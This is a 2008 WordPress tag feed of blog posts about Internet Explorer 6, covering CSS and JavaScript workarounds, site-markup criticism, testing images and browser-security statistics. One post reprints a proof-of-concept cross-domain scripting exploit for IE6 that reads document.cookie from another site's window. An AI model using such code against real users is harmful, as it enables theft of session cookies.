<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>ie6 &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://wordpress.com/tag/ie6/</link>
	<description>Feed of posts on WordPress.com tagged "ie6"</description>
	<pubDate>Thu, 21 Aug 2008 04:43:53 +0000</pubDate>

	<generator>http://wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Solution for PNG images in css]]></title>
<link>http://sureshjain.wordpress.com/?p=109</link>
<pubDate>Tue, 05 Aug 2008 09:21:03 +0000</pubDate>
<dc:creator>sureshjain</dc:creator>
<guid>http://sureshjain.wordpress.com/?p=109</guid>
<description><![CDATA[Many of us might have nightmare&#8217;s using png images as they are not supported in IE. Here is th]]></description>
<content:encoded><![CDATA[<p>Many of us might have nightmare's using png images as they are not supported in IE. Here is the solution we can use to overcome that nightmare</p>
<p> </p>
<p>Method 1:</p>
<p>html&#62;body .className{<br />
 background: url("../images/suresh kumar.png") no-repeat;<br />
}</p>
<p>Method 2:</p>
<p>* html #id{<br />
    background:url("../images/none.gif");<br />
 filter: progid XImageTransform.Microsoft.AlphaImageLoader(src='images/sureshkumar.png', sizingmethod='crop');<br />
 cursor: hand;<br />
}</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript Functions are Weird, Too]]></title>
<link>http://dreaminginjavascript.wordpress.com/?p=254</link>
<pubDate>Sat, 02 Aug 2008 16:56:11 +0000</pubDate>
<dc:creator>Nosredna</dc:creator>
<guid>http://dreaminginjavascript.wordpress.com/?p=254</guid>
<description><![CDATA[Remember when I said that JavaScript arrays are weird because they are also objects? Aside from thei]]></description>
<content:encoded><![CDATA[<p><a href="http://dreaminginjavascript.files.wordpress.com/2008/08/primeribwhole.jpg"><img class="alignleft size-medium wp-image-264" src="http://dreaminginjavascript.wordpress.com/files/2008/08/primeribwhole.jpg?w=300" alt="" width="172" height="129" /></a><em><strong>Remember when I said that JavaScript arrays</strong></em> are <a title="http://dreaminginjavascript.wordpress.com/2008/06/27/how-weird-are-javascript-arrays/" href="http://dreaminginjavascript.wordpress.com/2008/06/27/how-weird-are-javascript-arrays/" target="_blank">weird because they are also objects</a>? Aside from their numbered elements, they can have, in addition, hash elements (a key and a value).</p>
<p>Believe it or not, functions in JavaScript are just as weird. They also are objects. If you have a function named bar, it can have a property named foo.</p>
<p>Doesn't seem very useful, does it? After all, functions can already have variables declared inside them.</p>
<p>The difference? These special function elements persist from one call of the function to the next. You can use them to replace global variables that might otherwise cause unsightly clutter.</p>
<p>For instance, if you want a function to keep track of how many times it's been called, this does the trick:</p>
<pre>function add(a,b) {
  if (add.called===undefined) {
    add.called=0;
  }
  add.called++;
  return a+b;
}</pre>
<p>or, more tersely but confusingly,</p>
<pre>function add(a,b) {
  add.called=add.called+1 &#124;&#124; 1;
  return a+b;
}</pre>
<p>You don't have to call the function by its name when you're in the function, you can use arguments.callee instead.<a href="http://dreaminginjavascript.files.wordpress.com/2008/08/real-world-logo.jpg"><img class="alignright size-medium wp-image-270" src="http://dreaminginjavascript.wordpress.com/files/2008/08/real-world-logo.jpg" alt="" width="159" height="118" /></a></p>
<p>How about a real world example. <em>[Warning: You probably won't get your money's worth unless you compare the before-and-after code. I suggest copying and pasting them into a diff program so you can see the changes highlighted. Or you could just print out this whole blog post and take it to the bathroom.]</em></p>
<h2>Alert! Unresponsive Script!</h2>
<p>Sometimes, you might have some code that takes so long to execute that the browser alerts the user that a script has become unresponsive. That tends to take a long time for new browsers (they assume you might be running a Rich Internet Application and that such messages may be worse than the trouble they're trying to solve), but for old browsers (like my nemesis IE6), the time is short. Something like 3 seconds.</p>
<h2><a href="http://dreaminginjavascript.files.wordpress.com/2008/08/mms.jpg"><img class="alignright size-medium wp-image-274" src="http://dreaminginjavascript.wordpress.com/files/2008/08/mms.jpg?w=246" alt="" width="144" height="135" /></a>Yummy Morsels</h2>
<p>To solve this problem we have to break up work into bite-sized pieces.</p>
<p>Here's our before case, the brute force (slow) solution to finding prime numbers. Adapted from a C version <a title="http://www.troubleshooters.com/codecorn/primenumbers/primenumbers.htm#_The_Obvious_Method_for_Finding_Primes" href="http://www.troubleshooters.com/codecorn/primenumbers/primenumbers.htm#_The_Obvious_Method_for_Finding_Primes" target="_blank">here</a>.</p>
<pre>&#60;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&#62;
&#60;html lang="en"&#62;
&#60;head&#62;
    &#60;title&#62;&#60;!-- Insert your title here --&#62;&#60;/title&#62;
    &#60;script type="text/javascript"&#62;
        function findPrimes(topCandidate) {
            var primes=[];

            candidate = 2;
            while (candidate &#60;= topCandidate) {
                trialDivisor = 2;
                       prime = true;
                while (trialDivisor * trialDivisor &#60;= candidate) {
                    if (candidate % trialDivisor === 0) {
                        prime = false;
                        break;
                    }
                    trialDivisor++;
                }
                if (prime) {
                    primes.push(candidate);
                }
                candidate++;
            }
            return primes.length;
        }
    &#60;/script&#62;
&#60;/head&#62;
&#60;body&#62;
    &#60;!-- Insert your content here --&#62;
    &#60;form action=""&#62;
        &#60;input type="button"
               onclick='alert(findPrimes(100000))'
               value="Find Primes" /&#62;
    &#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;</pre>
<p>Now here's the version where we only let 1000 numbers be checked at once. After 1000 have been done, we fall out of the code, but before we go we trigger a setTimeout with a delay time of 0. That's all we need to do to let the browser catch its breath.</p>
<pre>&#60;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&#62;
&#60;html lang="en"&#62;
&#60;head&#62;
&#60;title&#62;&#60;!-- Insert your title here --&#62;&#60;/title&#62;
&#60;script type="text/javascript"&#62;
    function findPrimes2(topCandidate) {
        var persist=arguments.callee;
        var tries=0;
        if (persist.candidate===undefined) {
            persist.candidate=2;
            persist.primes=[];
            persist.topCandidate=topCandidate;
        }
        keepTrying = true;
        while (persist.candidate &#60;= persist.topCandidate &#38;&#38; keepTrying) {
            trialDivisor = 2;
            prime = true;
            while (trialDivisor * trialDivisor &#60;= persist.candidate) {
                if (persist.candidate % trialDivisor === 0) {
                    prime = false;
                    break;
                }
                trialDivisor++;
            }
            if (prime) {
                persist.primes.push(persist.candidate);
            }
            persist.candidate++;
            tries++;
            if (tries&#62;1000) {
                keepTrying=false;
            }
        }
        if (keepTrying) {
            persist.candidate=undefined;
            alert(persist.primes.length);
        } else {
            setTimeout(persist,0);
        }
    }
    &#60;/script&#62;
&#60;/head&#62;
&#60;body&#62;
    &#60;!-- Insert your content here --&#62;
    &#60;form action=""&#62;
        &#60;input type="button"
               onclick='findPrimes2(100000)'
               value="Find Primes" /&#62;
    &#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;</pre>
<p>Compare the two versions. In the second, I've short-circuited the loop so that it only checks 1000 numbers to see if they are prime. To keep comparisons easy, I've tried to make the least number of changes I could. In real-world cases, you start with the idea that you're going to work in chunks, and your code ends up cleaner.</p>
<h2>Some Are Sticky, Some Aren't</h2>
<p>We've made some of the variables persistent. These are the ones that have to be kept across invocations of the function. All other variables dry up and blow away.<a href="http://dreaminginjavascript.files.wordpress.com/2008/08/tumbleweed.jpg"><img class="alignright size-medium wp-image-272" src="http://dreaminginjavascript.wordpress.com/files/2008/08/tumbleweed.jpg?w=300" alt="" width="154" height="149" /></a></p>
<p>Since arguments.callee is such a long name, I've set the variable <em>persist</em> to hold the current function name.</p>
<p>This is <em>not</em> a recursive function. We let the function finish. It's set up to be called again with setTimeout. You don't want to is wait around in busy loops, making the browser all gummy and unresponsive.</p>
<p>If you do have responsiveness problems, put a longer delay and check fewer candidates at a time. This will make the process take longer, of course. It's a trade-off.</p>
<p>Any wait longer than a couple seconds is going to make the user wonder what's going on. A progress bar <a href="http://dreaminginjavascript.files.wordpress.com/2008/08/progress-bar-4.png"><img class="alignnone size-full wp-image-302" src="http://dreaminginjavascript.wordpress.com/files/2008/08/progress-bar-4.png" alt="" width="126" height="18" /></a> is the best solution for long waits. For short waits, a throbber<a href="http://dreaminginjavascript.files.wordpress.com/2008/08/throbber.gif"><img class="alignnone size-full wp-image-300" src="http://dreaminginjavascript.wordpress.com/files/2008/08/throbber.gif" alt="" width="32" height="32" /></a>is OK.</p>
<p>Program flow is not obvious when using setTimeout to control flow. In larger programs when you're using this technique, you may want some kind of handler that's in charge of passing control from one section of the code to another, instead of hardcoded setTimeout chaining.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Interesting website, especially how it’s built]]></title>
<link>http://neoco.wordpress.com/?p=543</link>
<pubDate>Fri, 01 Aug 2008 11:12:30 +0000</pubDate>
<dc:creator>neoco</dc:creator>
<guid>http://neoco.wordpress.com/?p=543</guid>
<description><![CDATA[
After reading Benn’s tweet about mystarbucksidea , I headed over to investigate. The first thing ]]></description>
<content:encoded><![CDATA[<p><a href="http://neoco.files.wordpress.com/2008/08/starbucks1.jpg"><img class="alignnone size-medium wp-image-544" src="http://neoco.wordpress.com/files/2008/08/starbucks1.jpg?w=400" alt="MyStarBucksIdea" /></a></p>
<p>After reading Benn’s tweet about mystarbucksidea , I headed over to investigate. The first thing I noticed was that Benn had got the URL wrong – it’s actually http://mystarbucksidea.com/ (with an s after starbuck).  The second thing I noticed was that the site, at first glance, looks great! It’s simple, clean and clear.  It looks like it accomplishes its goal well.</p>
<p>It’s interesting to dig into the list of ideas.  It appears that most of the users of the site are vegans demanding more vegan products.  “zschmidl” even goes so far as to complain “it kind of grosses us vegans out to see dead pig on your counter”.  I can only imagine Starbucks is very different in the US, as I’ve never seen a dead pig in the Leicester Square Starbucks.  I’m not 100% convinced by the genius of any of these ideas; whether or not they will help to put Starbucks back into the black remains to be seen (<a href="http://www.ft.com/cms/s/0/e7c53cc8-5e97-11dd-b354-000077b07658.html" target="_blank">Starbucks has just posted its first ever quarterly loss</a>).</p>
<p>The idea for the Starbucks forum apparently came from Dell’s Ideas Storm website <em>(<a href="http://blogs.techrepublic.com.com/tech-news/?p=2168" target="_blank">interesting blog on the subject</a>)</em> – aimed to put the company in touch with what its customers actually want.  Both of these sites are built using the SalesForce.com platform. And this, for me, is where the story gets even more interesting than the dead pig line.</p>
<p>The first sign of trouble (on my FF3 browser) was on the homepage. For some reason (unknown probably even to SalesForce), there are 1150 pixels of white space between the bottom of the content and the footer.  It then dawned on me that all the sub headings on the site are separate Flash movies.  At first, this seemed impossible. Surely no one would want to use a Flash movie for all the sub headings! Surely!</p>
<p>There are other oddities too.  When the site loads, the page title is “Portal Header”, replaced (via Javascript) with “My Starbucks Idea”.  Look at the source and you realise that the SalesForce platform is obviously built to be generic, to the point where bloated code is used in abundance.  A <strong>single post </strong>(the pig post), which conveys the following information (totalling 649 characters):</p>
<div style="font-family:courier;background-color:#eee;">Posted by zschmidl to food<br />
7/24/2008 9:33 AM<br />
Add more vegan treats and pastries to your menu! 95% percent of the food you provide contains milk, eggs or animal flesh leaving little or no choice for AR advocates. Not only does it keep money out of your pocket, it kind of grosses us vegans out to see dead pig on your counter...<br />
Furthermore, organic and fair-trade ingredients are of upmost importance. Your products are already pricey and considered high-quality, obviously people are willing to pay more for better food... By switching over to a more compassionate and progressive menu, you have absolutely nothing to lose.<br />
44 comments<br />
vote<br />
2320 points</div>
<p>Ends up as the following (4,598 characters) with markup:</p>
<div style="font-family:courier;background-color:#eee;">&#60;li class="" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0"&#62;<br />
&#60;div class="ideaSection"&#62;&#60;div class="ideaSide" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:ideaSide"&#62;&#60;div class="voteContainer"&#62;&#60;div id="voteButton087500000004yPV" class="voteButton"&#62;&#60;a onmouseout="return setVoteStatusMsg('');" onmouseover="return setVoteStatusMsg('Click to vote');" onclick="return true;" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:voteLink" href="/secur/login_portal.jsp?orgId=00D500000008OkU&#38;portalId=06050000000D1Ee&#38;ec=302&#38;startURL=%2Fideas%2FideaList.apexp"&#62;&#60;div class="votelt"/&#62;&#60;div class="votert"/&#62;&#60;span class="insideVote" style="visibility: visible;"&#62;Vote&#60;/span&#62;&#60;span class="insideVoted" style="visibility: hidden;"&#62;Voted&#60;/span&#62;&#60;div class="votelb"/&#62;&#60;div class="voterb"/&#62;&#60;/a&#62;&#60;div class="voteStatusBlock"&#62;&#60;span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:voteScorebox"&#62;2320&#60;/span&#62;&#60;br/&#62;Points&#60;/div&#62;&#60;/div&#62;&#60;/div&#62;&#60;/div&#62;<br />
&#60;div class="ideaContentWidth ideaContent"&#62;<br />
&#60;h3 class="ideaContentWidth ideaSubject sIFR-replaced"&#62;&#60;object height="40" width="590" type="application/x-shockwave-flash" id="sIFR_callback_0" name="sIFR_callback_0" data="http://www.starbucks.com/mystarbucksidea/app_themes/theme/flash/tradegothic1.swf" class="sIFR-flash"&#62;&#60;param name="flashvars" value="content=%253Ca%2520href%253D%2522/ideas/viewIdea.apexp%253Fid%253D087500000004yPV%2522%2520target%253D%2522%2522%253EOrganic/Vegan%253C/a%253E%2520&#38;antialiastype=&#38;width=590&#38;height=40&#38;renderheight=40&#38;fitexactly=false&#38;tunewidth=0&#38;tuneheight=0&#38;offsetleft=&#38;offsettop=&#38;thickness=&#38;sharpness=&#38;kerning=&#38;gridfittype=pixel&#38;flashfilters=&#38;opacity=100&#38;blendmode=&#38;size=28&#38;css=.sIFR-root%257Bcolor%253A%2523888888%253Bheight%253A30px%253Bpadding%253A0px%253Bmargin%253A0px%253B%257Da%257Bcolor%253A%2523888888%253Btext-decoration%253Anone%253B%257Da%253Ahover%257Bcolor%253A%2523a85c1f%253Btext-decoration%253Anone%253B%257D&#38;selectable=true&#38;fixhover=true&#38;preventwrap=false&#38;forcesingleline=false&#38;link=/ideas/viewIdea.apexp%253Fid%253D087500000004yPV&#38;target=&#38;events=false&#38;cursor=default&#38;version=382"/&#62;&#60;param name="wmode" value="opaque"/&#62;&#60;param name="bgcolor" value="#FFFFFF"/&#62;&#60;param name="allowScriptAccess" value="always"/&#62;&#60;param name="quality" value="best"/&#62;&#60;/object&#62;&#60;span class="sIFR-alternate" id="sIFR_callback_0_alternate"&#62;&#60;a href="/ideas/viewIdea.apexp?id=087500000004yPV" name="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkTitle" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkTitle"&#62;Organic/Vegan&#60;/a&#62;<br />
&#60;/span&#62;&#60;/h3&#62;&#60;div class="ideaContentWidth ideaComment" id="thePage:mainLayout:pbIdeaList:incIdeaListStd:ideaListStd:ideaList:0:postedByWrapper" style="position: relative; top: -10px;"&#62;Posted by &#60;span class="userLink"&#62;zschmidl&#60;/span&#62; to &#60;a href="/ideas/ideaList.apexp?c=09a5000000001hi&#38;lsi=0&#38;category=Food" class="ideaCategory"&#62;Food&#60;/a&#62; , 7/24/2008 9:33 AM&#60;/div&#62;&#60;div class="ideaContentWidth ideaBody" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:body"&#62;Add more vegan treats and pastries to your menu!  95% percent of the food you provide contains milk, eggs or animal flesh leaving little or no choice for AR advocates.  Not only does it keep money out of your pocket, it kind of grosses us vegans out to see dead pig on your counter...<br />
&#60;br/&#62;<br />
&#60;br/&#62;Furthermore, organic and fair-trade ingredients are of upmost importance.  Your products are already pricey and considered high-quality, obviously people are willing to pay more for better food...  By switching over to a more compassionate and progressive menu, you have absolutely nothing to lose.&#60;/div&#62;<br />
&#60;div class="ideaContentWidth ideaComment"&#62;&#60;a class="ideaCommentIcon" href="http://mystarbucksidea.force.com/ideas/viewIdea.apexp?id=087500000004yPV" name="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkComments" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkComments"&#62;<br />
Comments [44]&#60;/a&#62;<br />
&#60;span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:j_id60"&#62;&#60;span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:postedByUserTextToCategory"/&#62;&#60;/span&#62;<br />
&#60;span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:createdDate"/&#62;<br />
&#60;/div&#62;<br />
&#60;/div&#62;<br />
&#60;/div&#62;&#60;/li&#62;</div>
<p>That means that this single post is <strong>4.4kb</strong> in size, and only <strong>14%</strong> of this is actual content; the rest is bloated markup.</p>
<p>My personal favourite is the IDs that are given to nearly evey element, for example the date of this idea is contained within a span which has the ID:</p>
<p>thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:createdDate</p>
<p>So does any of this actually matter?  I would say YES!  I imagine that the Flash movies are used for headings to allow for a custom font.  But this is madness.  Similarly, requiring Javascript to populate the page title also seems slightly insane, and leads to the amusing situation where Google indexes the site with the title “Portal Header”.</p>
<p><a href="http://neoco.files.wordpress.com/2008/08/starbucks2.jpg"><img class="alignnone size-full wp-image-545" src="http://neoco.wordpress.com/files/2008/08/starbucks2.jpg" alt="Google search results" width="420" height="126" /></a></p>
<p>I’m a fairly strong believer in web standards, and in particular the idea of good, symantically relevant, HTML markup.  It would be fairly straightforward to implement this site and stick to the standards, and this would benefit the end user by offering better accessibility, faster loading times and overall a better experience.</p>
<p>Overall I do like the idea of www.mystarbucksidea.com, I just don't like the implementation.</p>
<p>I tried to use <a href="http://www.browsershots.org/" target="_blank">www.browsershots.org</a> to show you how the site breaks on some browsers, but browsershots can't even handle the site! <a href="http://browsershots.org/http://mystarbucksidea.force.com/home/home.jsp&#60;/a">Click here to see its attempt!</a></p>
<p>See below for a screenshot when viewed in IE6.</p>
<p><a href="http://neoco.files.wordpress.com/2008/08/starbucks-ie6.jpg"><img class="alignnone size-medium wp-image-546" src="http://neoco.wordpress.com/files/2008/08/starbucks-ie6.jpg?w=300" alt="" width="300" height="257" /></a></p>
<p><a href="http://neoco.files.wordpress.com/2008/08/starbucks-ie6-2.jpg"><img class="alignnone size-medium wp-image-546" src="http://neoco.wordpress.com/files/2008/08/starbucks-ie6-2.jpg?w=300" alt="" width="300" height="257" /></a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Usando IE6 e IE7 ao mesmo tempo]]></title>
<link>http://leoguime.wordpress.com/?p=82</link>
<pubDate>Sun, 20 Jul 2008 17:28:55 +0000</pubDate>
<dc:creator>Leo</dc:creator>
<guid>http://leoguime.wordpress.com/?p=82</guid>
<description><![CDATA[Depois de usar por um bom tempo essa solução, a dias tive que fazer uma formatação no PC e nao q]]></description>
<content:encoded><![CDATA[<p style="text-align:justify;">Depois de usar por um bom tempo essa solução, a dias tive que fazer uma formatação no PC e nao queria mesmo ter mais um navegador instalado aqui (mesmo sabendo que tenho que testar sites em um monte deles). Bom, eu ja sabia do <strong><a title="Browsershot.com" href="http://browsershots.org/" target="_blank">Browsershot</a></strong>, um serviço genial que permite que você digite o endereço do seu site, escolha entre dezenas de navegadores e suas versões e tenha as <em>screenshots</em> do site desejado em poucos minutos. Aqui ele levou cerca de 10 min pra mostrar 44 telas, entre versões e navegadores diferente.</p>
<p>Bom, mas isso ainda não resolvia meu problema, pois eu precisava corrigir vários "probleminhas" no IE6 - e quem não testa nele, <a title="Os navegadores mais utilizados" href="http://www.w3counter.com/globalstats.php" target="_blank"><strong>deveria</strong></a>. Entao, por conta dele, resolvi baixar novamente o <a title="Multiplos Internet Explorers" href="http://tredosoft.com/Multiple_IE" target="_self"><strong>MultipleIEs</strong></a>, que contém simplesmente todas as versões anteriores ao IE7. Com ele é possível ter instalado no mesmo computador sua versão atual do IE7 e todas as outras anteriores, sem ter que desinstalar nada. Uma das grandes soluções que eu ja encontrei pra não te forçar a ter um trabalho maior do que deveria com navegadores.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Disponibles Windows XP y Vista con IE6, IE7, IE8 para VirtualPC]]></title>
<link>http://edusanver.wordpress.com/?p=405</link>
<pubDate>Sun, 20 Jul 2008 13:44:48 +0000</pubDate>
<dc:creator>Eduardo Sanchez Vera</dc:creator>
<guid>http://edusanver.wordpress.com/?p=405</guid>
<description><![CDATA[Ya tienen disponibles las imagenes del sistema operativo Windows XP y Windows Vista para ser utiliza]]></description>
<content:encoded><![CDATA[<p>Ya tienen disponibles las imagenes del sistema operativo Windows XP y Windows Vista para ser utilizadas con el microsoft virtual pc, estas imagenes contienen el internet explorer con la versión 6, 7, y 8beta1. Estas imagenes <strong>expiran en setiembre del 2008</strong>.</p>
<div><a name="Description"></a><span>Esta página de descarga contienen 4 imagenes VPC separadas, depndiendo de lo que tú desees testear.</p>
<ul>
<li><strong>IE6-XPSP2_VPC.exe</strong> contiene un Windows XP SP2 con Internet Explorer 6.</li>
<li><strong>IE7-XPSP2_VPC.exe</strong> <span>contiene un Windows XP SP2 con Internet Explorer 7.</span></li>
<li><strong>IE8B1-XPSP2_VPC.exe</strong> <span>contiene un Windows XP SP2 con Internet Explorer</span> 8 Beta 1.</li>
<li><strong>IE7-VIS1.exe+IE7-VIS2.rar+IE7-VIS3.rar</strong> contiene un windows Vista <span><span>con Internet Explorer 7.</span></span></li>
</ul>
<p><strong>Nota:</strong> para la imagen del Windows Vista, necesitas descargar los 3 archivos y guardarlos en el mismo directorio, luego simplemente ejecutar el archivo IE7-VIS1.exe.</p>
<p></span></div>
<p>Descargar Imagenes para el Virtual PC:<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=21EABB90-958F-4B64-B5F1-73D0A413C8EF&#38;displaylang=en" target="_blank">http://www.microsoft.com/downloads/details.aspx?<br />
FamilyId=21EABB90-958F-4B64-B5F1-73D0A413C8EF&#38;displaylang=en</a></p>
<p>Info Virtual PC:<br />
<a href="http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx" target="_blank"> http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx</a></p>
<p>Descargar Virtual PC 2007 SP1:<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=28C97D22-6EB8-4A09-A7F7-F6C7A1F000B5&#38;displaylang=en" target="_blank">http://www.microsoft.com/downloads/<br />
details.aspx?FamilyId=28C97D22-6EB8-4A09-A7F7-F6C7A1F000B5&#38;displaylang=en</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[XdSS - cross domain site scripting]]></title>
<link>http://insanesecurity.wordpress.com/?p=55</link>
<pubDate>Thu, 17 Jul 2008 21:00:36 +0000</pubDate>
<dc:creator>dblackshell</dc:creator>
<guid>http://insanesecurity.wordpress.com/?p=55</guid>
<description><![CDATA[Now available in local stores near you&#8230; I&#8217;m kinda 3 days off, but just today took the ti]]></description>
<content:encoded><![CDATA[<p>Now available in local stores near you... I'm kinda 3 days off, but just today took the time to take a look on the feeds I follow, and came across this interesting article back at F-Secure's blog -&#62; <a href="http://www.f-secure.com/weblog/archives/00001463.html">Internet Explorer 6 Cross-Domain Scripting Vulnerability</a>... I bet some of you will find it very useful... Anyway you can find the PoC code at <a href="http://raffon.net/research/ms/ie/crossdomain/string.html">raffon.net</a>...</p>
<p>If you're too lazy to click here-and-there, here is the code<br />
---<br />
function win() {<br />
&#160;&#160;&#160;x=window.open('http://www.google.com');<br />
&#160;&#160;&#160;setTimeout (function () {<br />
&#160;&#160;&#160;&#160;&#160;&#160;x.location.href = new String("javascript:alert(document.cookie)")<br />
&#160;&#160;&#160;}, 3000)<br />
}<br />
---</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Warning Message in IE6 and empty iframe]]></title>
<link>http://qiangli.wordpress.com/?p=21</link>
<pubDate>Thu, 17 Jul 2008 09:59:08 +0000</pubDate>
<dc:creator>qiangli</dc:creator>
<guid>http://qiangli.wordpress.com/?p=21</guid>
<description><![CDATA[Last two days we have a problem wiht Security Information Window.
Security Information from IE6
This]]></description>
<content:encoded><![CDATA[<p>Last two days we have a problem wiht Security Information Window.</p>
[caption id="attachment_22" align="aligncenter" width="300" caption="Security Information from IE6"]<a href="http://qiangli.wordpress.com/files/2008/07/securityinfo.png"><img class="size-medium wp-image-22" src="http://qiangli.wordpress.com/files/2008/07/securityinfo.png?w=300" alt="Security Information from IE6" width="300" height="141" /></a>[/caption]
<p>This window will be showed by each page loading. Why? After long searching we finded the answer. There is a empty iframe. It will be created by lightbox2.js in lightbox module for Drupal CMS. But for the most page, there is nothing in this iframe and it is also nonvisible.</p>
<p>How to fix this problem? You can find a solution on MSDN page. <a href="http://support.microsoft.com/?scid=kb%3Ben-us%3B261188&#38;x=11&#38;y=9" target="_blank">PRB: Security Warning Message Occurs When You Browse to a Page That Contains an IFRAME Through SSL</a></p>
<p>But for our problem, we find out another solution. We comment the code for iframe creating in lightbox2.js. Then, everything is fine! But when will be the content in iframe created? We do not have the answer.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Estan usando el navegador mas seguro ?]]></title>
<link>http://julianrdz.wordpress.com/?p=300</link>
<pubDate>Sat, 05 Jul 2008 02:30:27 +0000</pubDate>
<dc:creator>Julián Rodríguez</dc:creator>
<guid>http://julianrdz.wordpress.com/?p=300</guid>
<description><![CDATA[Un estudio reciente basado en información aportada por Google, concluye en que un gran número de u]]></description>
<content:encoded><![CDATA[<p>Un estudio reciente basado en información aportada por Google, concluye en que un gran número de usuarios no están utilizando las versiones más seguras y actualizadas de sus respectivos navegadores.</p>
<p>El estudio también encontró que se trata más de un problema de usuarios de Internet Explorer que de Firefox. Sin embargo, no tiene en cuenta que ello está en relación con la cantidad de usuarios de uno o de otro navegador.</p>
<p>Por ejemplo, si miramos en las estadísticas de visitas a nuestro sitio VSAntivirus.com en el día de ayer (3/7/08), un 65% de usuarios utilizaron Internet Explorer, un 30% Firefox, un 2,53% Opera y un 0,48% Safari.</p>
<p>Otra de las críticas, son las limitaciones en la metodología utilizada en el estudio, que ponen en tela de juicio las conclusiones alcanzadas por el autor, según un análisis publicado en eWEEK.com</p>
<p>Los datos de registros de Google se basan en la cadena "user-agent" del HTTP proporcionada por el navegador con el fin de identificarse, e Internet Explorer proporciona datos mucho menos precisos en su "user-agent" que otros navegadores.</p>
<p>Mientras que Firefox proporciona datos específicos sobre la versión del navegador, el IE solo brinda información genérica (IE6, IE7, etc.). Pero los autores del estudio decidieron que todos aquellos que utilizan IE7 están al día, incluso aquellos que no han aplicado parches del IE7.</p>
<p>El mismo concepto lo aplican a usuarios de IE6 (el informe los clasifica como inseguros), cuando aquellos que han aplicado los últimos parches pueden llegar a estar tan seguros como otros con IE7 en la misma condición.</p>
<p>El estudio concluye que los usuarios de Firefox aplican los parches o versiones actualizadas más rápidamente que los usuarios de IE. Pero esto demuestra que son usuarios con más autoridad sobre sus sistemas, y no tiene en cuenta a usuarios corporativos que no poseen el control para aplicar estos parches.</p>
<p>Las versiones IE5 e IE6 siguen siendo soportadas por Microsoft, debido a que los clientes, sobre todo corporativos, lo exigen, mientras que Mozilla ya ha anunciado que el soporte para Firefox 2 finalizará en diciembre de 2008.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[40% من مستخدمي الانترنت يتصفحون بـ متصفحات قديمة !]]></title>
<link>http://abdulmalik4.wordpress.com/?p=28</link>
<pubDate>Fri, 04 Jul 2008 18:08:38 +0000</pubDate>
<dc:creator>عبدالملك</dc:creator>
<guid>http://abdulmalik4.wordpress.com/?p=28</guid>
<description><![CDATA[ على حسب مجموعة من الباحثين يتصفح 673 مليون مستخدم الانت]]></description>
<content:encoded><![CDATA[<p style="text-align:center;"><strong> على حسب مجموعة من الباحثين يتصفح <span style="color:#ff0000;">673</span> مليون مستخدم الانترنت مع متصفحات قديمة و بهذا يواجهون خطر كبير لهجمات من قبل شبكات الكمبيوتر العالمية.</p>
<p>الباحثين جمعوا الإحصائيات عبر طلبات البحث التي تم إجراءها على غوغل و شركة Secunia المتخصصة في الأمن و الحماية. و أوضح الباحثين أنهم كانوا يريدون معرفة أسباب نجاح الهاكرز في اختراق الحواسيب عن طريق المتصفحات.</p>
<p>النتيجة كانت مذهلة, 40% من جميع مستخدمي الانترنت يستخدمون متصفحات قديمة . و 78% منهم يستخدم متصفح انترنت إكسبلورر و هذا بالطبع طبيعي بما انه الأكثر شهرة (و لكن كما نعرف ليس الافضل).</p>
<p>المتبقي 16% يستخدم <span style="color:#ff6600;">فايرفوكس</span>, 3% <span style="color:#3366ff;">سفاراي </span>و 0,8% <span style="color:#800000;">اوبرا</span>.</p>
<p>و تابع الباحثين أن من مستخدمي انترنت إكسبلورر 52% يستخدم احدث نسخة للمتصفح و 48% يستخدم نسخة قديمة من IE7, أي بدون تحديثات, و حتى النسخة السادسة و بعضا منهم <span style="color:#333333;"><span style="text-decoration:underline;">الأقدم</span></span>.</p>
<p>و لتوضيح أهمية المتصفح قام الباحثين بمقارنة المتصفحات مع صناعة الغذاء. الجميع منا يريد غذاء صحي و آمن و نفس الأمر ينطبق على المتصفحات.</p>
<p>نحن ننصح باقتناء متصفح فايرفوكس, الأفضل. النسخة الأخيرة (<a href="http://www.mozilla.com/en-US/firefox/"><span style="color:#ff0000;">فايرفوكس 3</span></a>) أو (</strong><strong><a href="http://www.opera.com/?home" target="_blank"><span style="color:#800000;">9.5 Opera</span></a>)</strong>
</p>
<p style="text-align:center;">
]]></content:encoded>
</item>
<item>
<title><![CDATA[Wine Doors cara asyik Pake Linux....]]></title>
